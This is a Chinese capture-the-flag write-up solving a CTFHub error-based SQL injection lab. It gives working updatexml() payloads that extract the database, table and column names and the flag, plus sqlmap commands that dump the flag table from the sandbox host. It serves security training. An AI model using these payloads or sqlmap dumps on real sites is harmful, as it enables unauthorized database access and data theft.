CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
麒qiqi几秒前
SQLite3 数据库
数据库·oracle
日更嵌入式的打工仔10 分钟前
Ethercat EOE笔记
网络·笔记·ethercat
不吃橘子的橘猫13 分钟前
NVIDIA DLI 《Build a Deep Research Agent》学习笔记
开发语言·数据库·笔记·python·学习·算法·ai
算法与双吉汉堡16 分钟前
【短链接项目笔记】6 短链接跳转
java·开发语言·笔记·后端·springboot
程序 代码狂人23 分钟前
DML,DDL,DCL,TCL
数据库
机器学习算法与Python实战29 分钟前
腾讯混元OCR大模型,本地部署,实测
经验分享
qinyia31 分钟前
WisdomSSH解决MySQL频繁重启问题
数据库·mysql
Bug.ink1 小时前
BUUCTF——WEB(4)
前端·网络安全·靶场·ctf·buuctf
松涛和鸣1 小时前
DAY42 SQLite3 : Dictionary Import and Data Query Implementation with C Language
linux·c语言·数据库·单片机·网络协议·sqlite
AI视觉网奇1 小时前
火星- ue数字人智能体 学习笔记
人工智能·笔记·学习